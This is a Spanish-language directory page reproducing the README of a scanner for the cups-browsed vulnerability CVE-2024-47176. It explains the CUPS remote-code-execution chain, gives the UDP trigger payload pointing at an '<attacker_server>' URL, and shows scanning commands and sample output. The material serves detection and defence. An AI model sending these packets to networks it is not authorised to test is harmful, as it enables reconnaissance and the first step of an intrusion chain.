Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-47176-Scanner — Un escáner sencillo para identificar instancias vulnerables de cups-browsed en tu red | Kitploit
Herramientas/GitHubGitHub/malwaretech/cve-2024-47176-scanner
ReconocimientoEscáneres de VulnerabilidadesExplotaciónRecopilación de InformaciónSeguridad de RedesPruebas de Penetración
GitHubmalwaretech/cve-2024-47176-scanner

CVE-2024-47176-Scanner

Un escáner sencillo para identificar instancias vulnerables de cups-browsed en tu red

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
66131hace 1 añoRevisado por Kitploit
Compartir

Inicio rápido

Ejemplo de uso: python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337

Escáner de vulnerabilidad CVE-2024-47176 (cups-browsed)

¿Qué es CUPS y por qué es importante?

CUPS (Common Unix Printing System) es un framework de código abierto para gestionar y controlar impresoras en sistemas UNIX y similares. Es una de las bibliotecas más utilizadas para la impresión y es compatible con UNIX, Linux y algunos dispositivos Apple.

Se encontraron varias vulnerabilidades críticas en CUPS que, cuando se encadenan, pueden conducir a la ejecución remota de código. Los CVE en cuestión son CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177.

Estas vulnerabilidades permiten a un atacante remoto añadir o reconfigurar impresoras de red de tal manera que ejecuten código arbitrario cuando los usuarios intenten imprimir desde ellas.

Escaneo de sistemas CUPS vulnerables

Breve descripción general de CVE-2024-47176

La primera vulnerabilidad de la cadena, CVE-2024-47176, es un fallo en el demonio cups-browsed.

La vulnerabilidad surge del hecho de que cups-browsed vincula su puerto de control (puerto UDP 631) a INADDR_ANY, exponiéndolo al mundo. Dado que las solicitudes no están autenticadas, cualquiera que pueda alcanzar el puerto de control puede indicar a cups-browsed que realice el descubrimiento de impresoras.

En los casos en que el puerto no sea accesible desde Internet (debido a cortafuegos o NAT), puede seguir siendo accesible a través de la red local, lo que permite la escalada de privilegios y el movimiento lateral. Por esta razón, he creado este escáner diseñado para analizar tu red local en busca de instancias vulnerables de cups-browsed.

Cómo funciona el escaneo de CVE-2024-47176

Normalmente, un atacante comenzaría el proceso de explotación enviando una solicitud especialmente elaborada a cups-browsed en el puerto UDP 631, lo que haría que se conectara a una URL maliciosa bajo su control.

Por ejemplo, un paquete UDP que contenga lo siguiente: 0 3 http://<attacker_server>/printers/malicious_printer haría que cups-browsed emitiera una solicitud HTTP a http://<attacker_server>/printers/malicious_printer.

Si la URL se presentara como una impresora maliciosa, podría encadenar el resto de los CVE para lograr la ejecución remota de código.

Usando este mecanismo, podemos hacer que una instancia vulnerable de cups-browsed emita una solicitud HTTP (callback) a nuestro propio servidor, identificándose como vulnerable.

El proceso de escaneo es el siguiente:

  1. Configura un servidor HTTP básico (no es necesario identificarse como impresora, ya que no explotaremos la vulnerabilidad RCE).
  2. Construye un paquete UDP que indique a cups-browsed que se conecte a nuestro servidor HTTP.
  3. Envía el paquete UDP a cada IP de un rango determinado en el puerto 631.
  4. Registra cualquier solicitud POST al endpoint /printers/, que sean provocadas por instancias vulnerables de cups-browsed.

Asumiendo que nuestro servidor HTTP está alojado en 10.0.0.1:1337, nuestro paquete UDP debería verse así: 0 3 http://10.0.0.1:1337/printers/test1234

Automatizando escaneos con cups_scanner.py

Este escáner de Python maneja todo por ti (tanto el servidor HTTP como el escaneo).

El script lanza un servidor HTTP temporal a través de http.server en una IP y puerto especificados, luego construye y envía paquetes UDP a cada IP del rango especificado. El servidor HTTP capturará automáticamente los callbacks de instancias vulnerables de cups-browsed y los registrará en disco.

Los registros legibles se escriben en logs/cups.log y las solicitudes HTTP en bruto se escriben en logs/requests.log

argumentos de línea de comandos

--target los CIDR(s) a escanear. Puede ser un solo CIDR o varios CIDR separados por comas.
--callback la IP y el puerto local en los que alojar nuestro servidor HTTP (debe ser alcanzable dentro del rango de objetivos)
--scan-unsafe por defecto solo escaneamos direcciones de host asignables (excluimos la dirección de red y la dirección de broadcast) en algunos casos puede ser conveniente escanear estas direcciones, por lo que este comportamiento se puede anular con la bandera --scan-unsafe.

Ejemplo de uso

Escaneando el CIDR 10.0.0.0/24 desde la dirección IP 10.0.0.1, alojando el servidor de callback en 1337:
python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337

Escaneando múltiples CIDRs desde la dirección IP 10.0.0.1, alojando el servidor de callback en 1337:
python3 cups_scanner.py --targets 10.0.0.0/24,10.0.1.0/24 --callback 10.0.0.1:1337

nota: la IP del servidor de callback debe pertenecer al host que realiza el escaneo, y el puerto debe ser alcanzable desde cada IP de los objetivos.

Salida de ejemplo

root@kitploit:~
<root@haxx> python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.0.1:1337
[2024-10-06 21:57:09] starting callback server on 10.0.0.1:1337
[2024-10-06 21:57:14] callback server running on port 10.0.0.1:1337...
[2024-10-06 21:57:14] starting scan
[2024-10-06 21:57:14] scanning range: 10.0.0.1 - 10.0.0.254
[2024-10-06 21:57:14] scan done, use CTRL + C to callback stop server
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.22 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.25 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:17] shutting down server and exiting...

para más información ver: Informe oficial de la vulnerabilidad de CUPS

Descargar herramienta